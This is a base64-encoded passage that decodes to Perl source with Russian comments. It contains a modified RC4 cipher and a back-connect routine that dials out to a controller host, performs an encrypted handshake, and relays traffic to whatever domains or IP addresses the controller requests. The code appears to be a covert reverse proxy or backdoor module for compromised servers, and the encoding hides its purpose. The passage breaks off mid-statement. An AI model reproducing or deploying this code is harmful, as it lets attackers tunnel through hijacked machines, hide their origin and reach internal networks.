0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
